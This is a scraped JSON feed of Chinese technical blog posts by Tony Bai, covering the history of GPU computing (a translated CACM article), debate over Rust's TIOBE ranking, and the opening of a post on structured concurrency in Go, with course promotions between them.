技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/18/ollama-from-open-source-hero-to-community-enemy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ollama-from-open-source-hero-to-community-enemy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/18/ollama-from-open-source-hero-to-community-enemy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/18/ollama-from-open-source-hero-to-community-enemy\"\u003ehttps://tonybai.com/2026/04/18/ollama-from-open-source-hero-to-community-enemy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e两年前，在本地大模型的蛮荒时代，Ollama 曾如一道神光，照亮了无数普通开发者的探索之路。\u003c/p\u003e\n\u003cp\u003e凭借那句魔咒般的 ollama run llama3，它以一种近乎“降维打击”的优雅，将普通人与本地 AI 之间的天堑夷为平地。\u003c/p\u003e","title":"从“开源英雄”到“社区公敌”，Ollama 到底做错了什么？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/17/the-origins-of-gpu-computing\n大家好，我是Tony Bai。\n在今天的人工智能时代，GPU 已成为数据中心的核心算力引擎，但它的崛起并非一夜之间的奇迹。ACM通讯文章《The Origins of GPU Computing》回溯了 GPU 计算的三十年发展史，揭示了从并行计算、图形系统到流处理等关键技术如何在政府资助的学术研究中逐步成熟，并最终汇聚成推动深度学习革命的基础设施。文章不仅梳理了技术脉络，也展示了学界与产业之间如何通过人才与思想的流动，共同塑造了现代 GPU 计算的格局。\n本文是这篇文章的译文，供大家学习参考(格式有调整，更适合公众号阅读)。\n政府资助的并行计算、流处理、实时着色语言和可编程图形处理单元（GPU）的学术研究直接推动了 GPU 计算的发展。GPU 被广泛应用于现代数据中心，并促成了当前的人工智能（AI）革命。生产 GPU 的英伟达（Nvidia）现已成为世界上最有价值的公司。这种计算变革及其产生的经济价值，得益于超过 30 年的政府资助研究。政府资助不仅有助于发展许多关键的技术创新，还培养了大量将这些技术带入行业的学生。\n本文追溯了 GPU 计算的起源。我们首先描述了 GPU 计算所构建的技术（并行计算、并行图形系统、可编程着色器(shaders)和流处理）的发展，然后详细介绍了这些技术是如何转移到英伟达和其他公司，并最终应用于现代机器学习的。\n赋能技术 GPU 计算建立在并行计算、并行图形系统和流处理的早期工作基础上。这些技术是通过超过 30 年的政府资助学术研究发展而来的。\n并行计算 当你学习计算时，你了解到的是中央处理器（CPU）按顺序执行一系列指令。\n实际上，芯片包含数十亿个并行切换并由导线连接的晶体管。开关和导线是物理计算机的基本构建块，它们同时运行。\n此外，晶体管切换消耗的能量很少，而沿导线的通信消耗的能量要多得多。\n通信需要功率来将信号从一点发送到另一点；功率随着距离的增加而增加，如果是在芯片之间进行信号传输，功率消耗将非常巨大。\n虽然顺序计算机可能比并行计算机更容易理解，但顺序计算机必须通过同时切换的晶体管和同时传输信息的导线来实现。顺序计算机使用许多晶体管并行计算结果，然后仔细地以与顺序执行一致的方式组装这些结果。\n创建这种执行是顺序的“幻觉”，在功率和性能上都是低效的。随着可用晶体管数量的增加，这种低效性也随之增加。在现代半导体技术中构建计算机的自然方式是设计并行计算机。GPU 比 CPU 更高效，因为它们是大规模并行计算机。\nGPU 计算建立在并行计算的早期工作之上。与所有并行计算机一样，在 GPU 上运行的并行任务或线程必须相互同步和通信。\n线程需要通信来使用由另一个线程产生的数据。同步是必要的，以在数据可用时发出信号，确保消耗的是正确的值。\n并行计算、同步和通信的许多基础知识是由政府资助的学术研究开发的。由加州理工学院 Chuck Seitz 领导的 DARPA 资助的“宇宙立方”（Cosmic Cube）项目发展了并行计算的许多基础知识。在该项目上开发的硬件是英特尔 iPSC、Delta 和 Paragon 机器的蓝图，以及几台早期的能源部 ASCI 机器。“Cosmic-C”编程语言引入了异步消息传递和集合通信，后来以消息传递接口（MPI）的形式成为编程大型并行机器的标准。\n麻省理工学院（MIT）的 DARPA 资助的 J-Machine 和 M-Machine 项目开发了用于通信和同步的低开销机制，以及现代互连网络的许多关键方面。这些机制使得并行性可以在非常细的粒度上被利用，最少只需 10 或 20 条指令即可作为一个可调度的工作单元。J-Machine 的许多特性被 Cray T3D 和 T3E 计算机直接采用。\n并行计算有着超越这一特定历史分支的丰富历史。由于篇幅有限，我们无法进行完整的综述。Culler 等人的文章提供了一个很好的回顾。\nGPU 计算与所有高性能计算一样，深受这一遗产的影响。它使用 MPI 进行节点间的通信，使用互连网络连接这些节点，并且在此研究过程中开发的许多通信和同步机制被用于协调并行计算。\n并行图形系统 虽然不如传统的并行计算和超级计算机广为人知，但并行图形和成像计算机有着悠久的历史。\n处理和生成图像需要巨大的计算量。例如，如果一台每秒处理一百万条指令的计算机（1MIPS）对百万像素图像的每个像素应用一次算术运算，计算机需要一秒钟来处理一张图像。\n渲染电影和游戏中的 3D 虚拟世界比图像处理每像素需要的计算量大几个数量级。例如，为现代电影生成的图像每个像素需要大约十亿次浮点运算。因此，为了在实践中有用，图形和成像需要高性能的并行超级计算机。这些计算机在大规模数据集合上并行计算。\n一个早期的 DARPA 资助研究项目是吉姆·克拉克（Jim Clark）在斯坦福大学领导的几何引擎（Geometry Engine）。\n几何引擎促成了硅谷图形公司（Silicon Graphics）的成立，该公司率先开发了 3D 图形工作站。SGI 硬件架构和 OpenGL 软件库定义了现代 GPU 架构。\n另一个值得注意的政府资助研究项目是亨利·福克斯（Henry Fuchs）及其合作者在北卡罗来纳大学领导的 Pixel Planes 系列高性能图形系统。事实上，Pixel Planes 5 是一台相当通用的单指令多数据（SIMD）计算机，它在 128 x 128 图像上运行并行计算。其他早期并行图形和图像计算机的例子包括 NASA 的大规模并行处理器（MPP）、Ikonas 图形系统和 Pixar 图像计算机。\n早期 GPU 实现了类似于早期 SGI 工作站的固定功能图形流水线。当整个 OpenGL 图形流水线可以在单个芯片上实现时，英伟达引入了“GPU”一词。1999 年推出的英伟达 Geforce 256 由 1700 万个晶体管组成，是第一款商用 GPU。\n在此之前，在皮克斯（Pixar）工作期间，Hanrahan 开发了 RenderMan，这是一个生成照片级逼真图像的系统。该系统彻底改变了电影行业，因为它能够生成可以与相机拍摄的实景无缝结合的图像。RenderMan 的一个关键组件是着色语言，它使用户能够扩展系统以模拟复杂的材质和光照。\n虽然最初的 GPU 实现了固定功能流水线，但它们是由可编程组件构成的。不幸的是，这些处理单元因系统而异，因代而异。需要的是一种可移植的编程模型。由于 GPU 的主要应用是电脑游戏，因此将 RenderMan 着色语言适配到 GPU，以便游戏开发者可以创造新的光照和着色效果似乎是自然而然的。\n在斯坦福大学的一个 DARPA 资助项目下，为当时的 GPU 设计并实现了一种实时着色语言（RTSL）。着色语言程序现在被称为着色器（shaders）。博士后学者 Bill Mark 领导了斯坦福 RTSL 的设计，后来加入了英伟达。他与另一位前斯坦福研究生 Kurt Akeley 一起增强了该技术，并创建了 Cg 着色语言。Cg 导致了微软 HLSL 和 OpenGL GLSL 的开发。\n人们很快意识到，这些早期的着色语言足够灵活，可以实现科学计算中的许多算法。研究人员采用了诸如矩阵乘法、线性求解器、流体动力学求解器和分子动力学等算法在着色器上运行。这导致了 GPGPU（通用 GPU）计算运动的兴起。\n流处理 DARPA 和 DOE 在斯坦福大学资助的关于 Imagine 流处理器和 Merrimac 流式超级计算机的工作发展了流处理，这是一种导致算术强度（计算与带宽之比）增加的并行计算形式。\n如前所述，处理器消耗的大部分功率是在通信上。在芯片之间发送信号尤其耗电。芯片外通信也比芯片内通信慢得多。\n流处理包含两个减少内存带宽需求的主要思想。\n第一个是利用生产者-消费者局部性，使得一个阶段（生产者）将其结果转发给下一个阶段（消费者），而无需写入和读取内存。\n第二个主要思想是将计算组织成称为内核（kernels）的函数。每个内核获取一个数据包，对该包执行函数，并输出另一个数据包。函数中的算术运算数量大于对内存的读写次数。这两种技术显著减少了内存访问次数，并提高了流处理架构的效率。\n在流处理器中，计算被组织成产生和消耗数据流的内核。产生内核会将输出流写入流寄存器文件（SRF）。消费内核会从 SRF 读取输入，而数据无需写入或从内存中读取。通过适当的调度来匹配流的批处理大小与 SRF 的容量，这种组织使得应用程序能够维持非常高的算术强度（算术与内存带宽之比）。\n一个设计和构建 Imagine 流处理器的 DARPA 资助项目于 1997 年在 MIT 启动，并于同年晚些时候转移到斯坦福大学。Imagine 是一台用于信号和图像处理工作负载的图形和媒体处理器。它由许多带有本地寄存器文件的并行算术单元、一个中央流寄存器文件和一个内存系统组成。内核从流寄存器文件读取流，通过本地寄存器文件传递中间结果，并将输出流写回流寄存器文件，供下一个内核读取。\nStream-C 编程语言被开发用于编程 Imagine。它扩展了 C 编程语言，增加了描述内核和流的构造。开发了众多的图形、信号处理和图像处理应用程序来调整和评估该架构。它在纹理映射光栅图形上的性能与当时的固定功能 GPU 相当。\n在一次 DARPA 主要研究人员会议上，本文作者意识到这项技术可以应用于高性能计算，并构思了 Merrimac 项目。斯坦福 DOE ASCI 中心的计算机科学（CS）部分被重定向以追求这种高性能计算方法。该中心的年度报告提供了流处理发展史的详实记录。\nMerrimac 架构被定义为将流处理适配到科学应用。与 Imagine 相比，主要变化是增加了科学计算所需的数据类型（如 FP64），将架构扩展到通过互连网络连接的多个节点以处理大规模问题，并增加了许多弹性特征，以支持在具有合理故障率的情况下进行大规模计算。\nStream-C 编程语言演变成了 Brook。Brook 背后的关键思想是将流编程的想法与更传统的数据并行计算合并。内核函数成为保持高算术强度的关键处理原语。\nBrook 被适配以针对 2000 年代初的 GPU。这些 GPU 运行可编程顶点和片段着色器。着色器实现了内核，但指令数量有限且寄存器很少。常见的数据并行编程原语（如 map、reduce/scan、filter、gather 和 scatter）是通过在低级图形着色器之上构建虚拟数据并行计算机来实现的。这种抽象使得大量现有的并行算法可以在 GPU 上运行，并且早期着色器的局限性逐渐被消除。\n早期利用内核执行高算术强度计算的一个很好的例子是稠密矩阵-矩阵乘法，它是现代神经网络算法的基础。在执行矩阵-矩阵乘法时，需要读取两个 n×n 矩阵并写入一个 n×n 矩阵。矩阵乘法需要 n³ 次乘加运算。因此，算术强度为 O(n)。这一事实众所周知，并导致了针对带有缓存的 CPU 进行矩阵乘法分块的有效方法。分块在 GPU 上运行时也非常有效。\n斯坦福 ASCI 中心的数值科学家将几种科学代码移植到 Brook，以便在 Merrimac 模拟器上运行。这些代码包括计算流体动力学、磁流体动力学和 n 体模拟。n 体模拟是高效 GPU 应用的一个很好的例子。原子对之间的力由天体物理模拟中的引力定律给出，但非结合原子之间的相互作用由 Lennard-Jones 势（甚至更复杂的经验势）近似。这些函数需要许多算术运算。对于这些模拟，相邻原子存储在“邻居列表”中。分子动力学模拟立即成为 GPU 的主要应用。\nGPU 和流处理器的一个关键特征是它们具有多种形式的硬件并行性。\n每个 GPU 由许多核心组成。每个核心包含一个 SIMD 处理单元（通常为 32 宽）。\n此外，每个核心都是多线程的。\n回想一下，GPU 是为图形应用程序开发的，其性能取决于将纹理应用于三角形的效率。\n纹理映射涉及计算三角形内每个像素片段的纹理坐标，然后使用这些坐标从图像中获取。这些纹理获取具有空间局部性，但时间局部性很小。空间局部性可以通过小型缓存来处理，但由于缺乏一致性，缓存无法处理时间局部性。\n高效的纹理映射要求 GPU 隐藏这些纹理获取的延迟。早期 GPU 通过让片段请求纹理、挂起该片段的执行，并立即切换到处理另一个片段来实现这一点。这是多线程的简化版本，这意味着 GPU 需要有许多并行线程同时运行。任务总数是核心数乘以 SIMD 算术单元数（称为 warp）乘以线程数。Blackwell B200 GPU 拥有 384 个流多处理器（SMs）。每个 SM 有 64 个驻留 warp，每个 warp 有 32 个线程。因此，该 GPU 上有 786,432 个任务同时执行。\n技术转移 流处理架构和编程系统通过人员流动从斯坦福转移到了英伟达。英伟达的一位架构师 John Nickolls 听说过流处理，并招募了 Bill Dally 在 2003 年为英伟达的 NV50 架构提供咨询。（NV50 于 2006 年作为 G80 发布）。流处理器的许多特性被合并到了该架构中。NV50 的“共享内存”发挥了 Imagine 和 Merrimac 中 SRF 的作用。\nIan Buck（Merrimac 项目的研究生和 Brook 的主要开发人员）于 2004 年加入英伟达。Ian 与 John Nickolls 合作将 Brook 演进为 CUDA。CUDA 合并了 Brook 和 Cg（一种图形着色语言）的最佳特性，并采纳了 Brook 程序员的反馈。关于该技术如何从斯坦福转移到英伟达的故事在一篇演示文稿中进行了描述。Mike Houston（该项目的另一位研究生）加入了 AMD，并直接使用 Brook 作为其 GPU 的编程语言。G80（NV50）和 CUDA 于 2006 年在超级计算大会上发布。\n当 CUDA 于 2006 年发布时，很少有人了解并行编程，更不用说 GPU 流编程了。为了克服这一劳动力短缺，Wen-Mei Hwu 和 David Kirk 通过为教授讲授 CUDA 编程课程来推广 GPU 计算。参加这些课程的教师随后教授了成千上万的学生使用 CUDA 进行并行编程。从 Cosmic Cube、J-Machine 和 M-Machine 借来的并行计算技术既被应用于 GPU 内部（以协调多个 SM），也被应用于跨 GPU（构建多节点 GPU 系统以解决大型问题）。\n赋能 AI 现代机器学习依赖于三个关键要素——海量数据集、具有许多层和权重的庞大模型，以及优化权重的计算能力。核心算法（深度神经网络、卷积网络、使用反向传播的训练和随机梯度下降）自 20 世纪 80 年代或更早以来就一直存在。大型标注数据集，例如 PASCAL 和 Imagenet，出现在 21 世纪初。最近的进展，例如将文本嵌入到向量空间中，使得自然语言深度学习成为可能。Transformers（“注意力就是你所需要的”）用带有历史记录的易于训练的神经网络取代了难以训练的循环神经网络。GPU 计算使得大规模数据集的网络训练在经济上变得可行。一旦展示了这种能力（Alexnet, GPT），AI 的能力就得到了迅速提升。AI 的快速采用为改进 GPU 计算系统提供了更大的动力。\n英伟达的机器学习也得益于学术界与产业界的协同效应。2010 年，作者之一（Dally）与吴恩达（Andrew Ng）的一次早餐交谈促成了一个英伟达与斯坦福之间的联合项目，旨在 GPU 上构建深度神经网络。Bryan Catanzaro 领导了该项目的英伟达部分。在此项目中开发的软件成为了 CuDNN，它为英伟达 GPU 上的深度学习提供了一个现成的库——从而推动了深度学习的普及。\n结论 GPU 计算背后的技术（已促成了现代机器学习）主要归功于 30 年的政府资助学术研究。\n并行计算、并行图形系统和流处理的研究为 GPU 计算奠定了基础。在这些研究项目中培养的许多学生后来进入行业，转移了这些技术并利用其开发了创新产品。\n从斯坦福流处理项目到 GPU 计算的转移非常直接，学术上的 Brook 语言演变为 CUDA，流处理器的功能被整合到 G80 GPU 中。\nGPU 提供的高效、易于编程且性能极高的计算平台，通过计算着色器促成了当前的机器学习革命——提供了缺失的成分，以补充早已可用但一直缺乏计算能力的算法和数据。\n资料链接：https://cacm.acm.org/federal-funding-of-academic-research/the-origins-of-gpu-computing/\n关于作者 威廉·J·达利是美国加利福尼亚州圣克拉拉英伟达公司首席科学家兼高级副总裁，同时也是斯坦福大学电气工程与计算机科学的兼职教授。\n帕特·汉拉汉是美国加利福尼亚州斯坦福大学电气工程与计算机科学的佳能荣休教授。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/17/the-origins-of-gpu-computing/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/the-origins-of-gpu-computing-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/17/the-origins-of-gpu-computing\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/17/the-origins-of-gpu-computing\"\u003ehttps://tonybai.com/2026/04/17/the-origins-of-gpu-computing\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在今天的人工智能时代，GPU 已成为数据中心的核心算力引擎，但它的崛起并非一夜之间的奇迹。ACM通讯文章《\u003ca href=\"https://cacm.acm.org/federal-funding-of-academic-research/the-origins-of-gpu-computing/\"\u003eThe Origins of GPU Computing\u003c/a\u003e》回溯了 GPU 计算的三十年发展史，揭示了从并行计算、图形系统到流处理等关键技术如何在政府资助的学术研究中逐步成熟，并最终汇聚成推动深度学习革命的基础设施。文章不仅梳理了技术脉络，也展示了学界与产业之间如何通过人才与思想的流动，共同塑造了现代 GPU 计算的格局。\u003c/p\u003e","title":"GPU 计算的起源"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/17/tiobe-ranking-and-the-decline-of-rust-hype\n大家好，我是Tony Bai。\n过去几年，技术圈最热门的“猜谜游戏”之一，就是预测 Rust 什么时候能杀入 TIOBE 排行榜的前十。\n这门被誉为“天选之子”的语言，连续多年霸榜 Stack Overflow“最受喜爱”的宝座，被微软、亚马逊等巨头奉为重写底层基础设施的“银弹”。所有人都觉得，它冲进前十，只是时间问题。\n但就在最近，TIOBE 指数发布了 2026 年 4 月的最新排名。\n榜单本身平平无奇，Rust 的排名甚至还从去年同期的 18 位微升到了 今年的16 位。\n然而，TIOBE 的 CEO Paul Jansen 亲自撰写的一篇社论，却像一盆冷水，劈头盖脸地浇在了所有 Rustacean（Rust 开发者）的头上。\nPaul Jansen 用极其明确的措辞，给这门甚至还没来得及摸到前十门槛的语言，提前下了一份“病危通知书”：\n“Rust 的崛起显示出放缓的迹象。……它进入前十的梦想，现在看来比以前更加遥远了。”\n这篇社论，瞬间引爆了全网的讨论。\n无数 Rust 开发者感到匪夷所思，甚至有些愤怒：我们还没真正发力，你怎么就开始唱衰了？\n这背后，到底是 TIOBE 对技术趋势的精准预判，还是这把统治了我们十几年的“认知标尺”，已经彻底失灵了？\n今天，我们就来扒开这张榜单的底裤，看看在喧嚣的数据背后，Rust 的真实处境，究竟是怎样的。\n官方的“诊断书”：Rust 的“阿喀琉斯之踵” 我们先来看看 TIOBE CEO Paul Jansen 的“诊断报告”。\n他指出，Rust 在今年年初曾一度冲到历史最高排名第 13 位，但仅仅三个月后，就又跌回了第 16 位。\n他给出的解释是：\n“一个可能的解释是，尽管 Rust 能够生产出高效和安全的代码，但对于非专家程序员来说，它仍然难以学习。虽然专家们愿意投入时间去掌握这门语言，但更广泛的主流采用似乎面临着更大的挑战。”\n这段话，精准地戳中了 Rust 社区最敏感、也最引以为傲的那根神经——陡峭的学习曲线。\n为了追求极致的内存安全，Rust 发明了极其复杂的“所有权（Ownership）”和“借用检查（Borrow Checker）”系统。这套系统像一个极其严苛的导师，在你编译代码的每一个环节，都对你进行着灵魂拷问。\n无数新手在入门 Rust 时，都会经历一段被称为“与编译器搏斗”的痛苦时期。\nTIOBE 的观点很明确：这种“精英主义”的设计哲学，正在成为 Rust “出圈”的最大障碍。\n榜单的原罪：用“百度指数”去衡量火箭科学 TIOBE 的诊断听起来似乎很有道理。但我们必须先问一个更底层的问题：TIOBE 指数，到底是个什么东西？\nTIOBE 的排名，本质上是一个基于**“搜索引擎查询量”**的指标。它在全球 25 个主流搜索引擎上，统计包含 +” programming” 关键词的页面数量。\n看懂了吗？这套诞生于 十多年前的评判标准，在 2026 年的今天，已经变得极其荒谬。\n它衡量的是一门语言在公网上的“话题度”和“声量”，而不是它的“真实价值”和“商业应用”。\n这就像用“微博热搜”的次数，去评判一位科学家的学术贡献一样可笑。\n用这把“旧尺子”去衡量现代编程语言，会产生几个致命的认知偏差：\n1. 越是难学、坑越多的语言，排名越高。\n这恰恰是 TIOBE 逻辑最诡异的地方。Paul Jansen 一边抱怨 Rust 太难学，一边却忽视了，正是因为“难学”，新用户才会频繁地去 Google 搜索“Rust a lifetime that lives long enough”、“the trait Borrow is not implemented for String”这些令人抓狂的报错信息。\n每一次“救命”的搜索，都在为 Rust 的 TIOBE 排名，贡献着宝贵的 KPI。\n2. 越是成熟、生态完善的语言，排名越吃亏。\n随着一门语言的成熟，它的文档会越来越完善，社区的最佳实践会沉淀下来。开发者遇到的问题，更多地会在官方文档、IDE 提示、或者小圈子的 Slack/Discord 里被解决，而不会产生大量的公开搜索。\n没有问题，就没有搜索。没有搜索，就没有 TIOBE 排名。\n3. TIOBE 无法衡量“生态位”的价值。\nRust 的江山在哪里？在 Linux 内核里(注：最近发布的Linux Kernel 7.0里，Rust已经正式转正了！)，在 Windows 的系统组件里，在 Cloudflare 的边缘网络里，在 Figma 的渲染引擎里，在那些对性能和安全要求达到极致的底层基础设施里。\n这些领域的开发者，是金字塔尖的系统程序员。他们讨论问题，是在 GitHub Issue、Zulip 频道，而不是在 CSDN 上问“我的 \u0026amp;mut 为什么传不进去”。\nRust 的价值，深藏在那些不会产生大量公开搜索记录的、高壁垒的硬核场景里。而 TIOBE 的爬虫，可能永远也爬不到那里。\n真实的版图：Rust 正在经历一场“青春期的烦恼” 扒开 TIOBE 的“障眼法”，我们该如何客观看待 Rust 在 2026 年的真实处境？\nRust 并没有“增长放缓”，它只是在经历一场必然的“出圈阵痛”。\n任何一门新技术的发展，都会经历两个阶段：\n从 0 到 1 的“深耕期”：吸引最硬核、最狂热的一批早期用户，在特定的垂直领域里，将自己的核心优势打磨到极致。Rust 在“系统编程”领域，已经完美地完成了这个阶段。 从 1 到 N 的“出圈期”：试图将自己的影响力，扩展到更广阔的领域，吸引更多的主流开发者。 Rust 现在正处于从阶段一向阶段二过渡的关键时期。它那套为系统编程量身打造的、极致安全的内存管理哲学，在 Web 开发、数据科学、GUI 应用等场景下，确实给很多开发者带来了巨大的心智负担。\nRust 社区内部，关于是否应该为了“易用性”而牺牲部分“极致性”的争论，也从未停止。比如，关于异步运行时的分裂（Tokio vs async-std）、关于标准库的精简与扩充，都反映了这种“青春期的烦恼”。\nRust 没有停滞，它只是在“成长的十字路口”，在思考自己到底想成为谁。\n我们真正应该关注什么？ 作为身处一线的工程师，我们应该如何看待 TIOBE 的这份“诊断书”？\n第一，永远不要把“流行度”作为技术选型的唯一标准。\nJavaScript 很流行，但你不会用它去写操作系统内核。COBOL 极其冷门，但全球的银行系统依然跑在它上面，顶级 COBOL 程序员的薪资高得吓人。\n技术的价值，永远取决于它在特定场景下，解决了多大规模、多高难度的商业问题。\n第二，警惕“易用性”的陷阱。\nGo、Python 很简单。但这种简单，可能是以牺牲“运行时安全保证”（比如Python 的动态类型、Go的Nil指针等）为代价的。\nRust 的“难”，恰恰是把所有可能在深夜引发线上雪崩的风险，全部前置到了编译阶段。它用“编译时的痛苦”，换取了“运行时的安宁”。\n这种设计哲学，对于金融交易、底层基础设施、航空航天等“不容有失”的领域来说，是无价之宝。\n第三，对自己的成长负责，而不是对榜单负责。\n与其每个月焦虑地刷新 TIOBE 的排名，不如去问自己几个更本质的问题：\n我所处的行业，未来 3-5 年最核心的技术瓶颈是什么？ 为了解决这些瓶颈，我需要掌握哪些不可替代的底层能力？ 哪门语言的生态和哲学，与这个方向最契合？ 你的技术护城河，从来不是由 TIOBE 的排名决定的，而是由你所处行业以及要解决问题的深度决定的。\n小结：你的价值，与榜单无关 TIOBE 的这份榜单，与其说是一份严肃的技术报告，不如说是一场成功的“引流狂欢”。\n它用一个看似客观的数据，精准地挑动了每个程序员心中最敏感的那根“身份焦虑”神经。\n但作为身处一线的工程师，我们必须保持清醒。\n衡量一门技术价值的唯一标准，从来不是它在搜索引擎上的热度，而是它在真实的商业世界里，解决了多大、多复杂、多有价值的问题。\n当你在用 Rust 构建着下一代安全操作系统，或者用它重写着公司最核心的交易引擎时，你根本无需关心 TIOBE 上的排名是 16 还是 60。\n因为你正在创造的价值，早已不是这些过时的“声量指标”所能衡量的。\n你的技术栈没有背叛你，但你的认知，可能会。\n今日互动探讨：\n你觉得 TIOBE 对 Rust“增长放缓”的判断准确吗？你认为 Rust 陡峭的学习曲线，是它最大的优势，还是最大的障碍？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/17/tiobe-ranking-and-the-decline-of-rust-hype/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/tiobe-ranking-and-the-decline-of-rust-hype-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/17/tiobe-ranking-and-the-decline-of-rust-hype\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/17/tiobe-ranking-and-the-decline-of-rust-hype\"\u003ehttps://tonybai.com/2026/04/17/tiobe-ranking-and-the-decline-of-rust-hype\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去几年，技术圈最热门的“猜谜游戏”之一，就是预测 Rust 什么时候能杀入 TIOBE 排行榜的前十。\u003c/p\u003e\n\u003cp\u003e这门被誉为“天选之子”的语言，连续多年霸榜 Stack Overflow“最受喜爱”的宝座，被微软、亚马逊等巨头奉为重写底层基础设施的“银弹”。所有人都觉得，它冲进前十，只是时间问题。\u003c/p\u003e","title":"Rust 还没进前十，TIOBE 就开始唱衰了？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/16/structured-concurrency-in-go-research-oriented-perspective\n大家好，我是Tony Bai。\nGo 语言的 go 关键字是并发编程史上的一次民主化革命，它让并发变得前所未有的廉价和简单。只需在一个函数调用前加上 go，我们就拥有了一个并发执行的任务。\n这种语法是如此的诱人，以至于新手 Gopher 往往会沉迷于创建成千上万个 Goroutine。\n随着 Go 语言步入第 16 个年头，学术界和工程界也开始重新审视这种“极简主义”带来的副作用。\n2025 年 3 月，一篇发表在《Scientific Research Journal》上的重磅论文《Structured Concurrency in Go: A Research-Oriented Perspective》，将 Go 的并发模型与 1968 年 Dijkstra 对 Goto 语句的批判联系了起来。\n论文作者 Georgii Kliukovkin 指出，这种“发射后不管（Fire-and-Forget）”的模式，虽然在 Hello World 级别的程序中运行良好，但在大规模分布式系统中，它是资源泄漏、死锁和竞态条件的温床。\n我们日常也常听到这样的抱怨：“Go 的并发很简单，但写出正确的并发代码很难。” 这并非语言本身的缺陷，而是因为我们缺乏一种与语言灵活性相匹配的约束纪律。这种纪律，就是结构化并发。\n本文将深入解读这篇论文，探讨为何“不受限制的 Goroutine”正在成为新时代的“Goto 语句”，以及我们如何通过**结构化并发（Structured Concurrency）**的四大法则，将失控的协程重新关回笼子，构建坚如磐石的系统。\n历史的镜像——从 Goto 有害论到 Goroutine 有害论？ 要理解“结构化并发”，我们必须先回顾历史。\n1968年的呼喊：结构化编程的诞生 在 20 世纪 60 年代，编程界流行的是“非结构化编程”。开发者可以随心所欲地使用 goto 语句在代码的任意位置跳转。这种自由带来了极大的灵活性，但也导致了所谓的“意大利面条代码（Spaghetti Code）”——控制流杂乱无章，难以追踪程序的执行路径，维护简直是噩梦。\n1968 年，图灵奖得主 Edsger W. Dijkstra 发表了那篇著名的《Go To Statement Considered Harmful》（Goto 语句有害论）。他主张废除无限制的跳转，转而使用结构化编程（Structured Programming）：即所有的逻辑都应由顺序结构、选择结构（if/else）和循环结构（for/while）以及函数调用（Function Call）组成。\n结构化编程的核心价值在于“黑盒化”。当你调用一个函数时，你确信控制权最终会回到你手中（除非死循环或崩溃）；你确信该函数内部的变量不会污染外部环境。这种“入口-出口”的对称性，是软件可维护性的基石。\n2025年的回响：go 语句 即 Goto 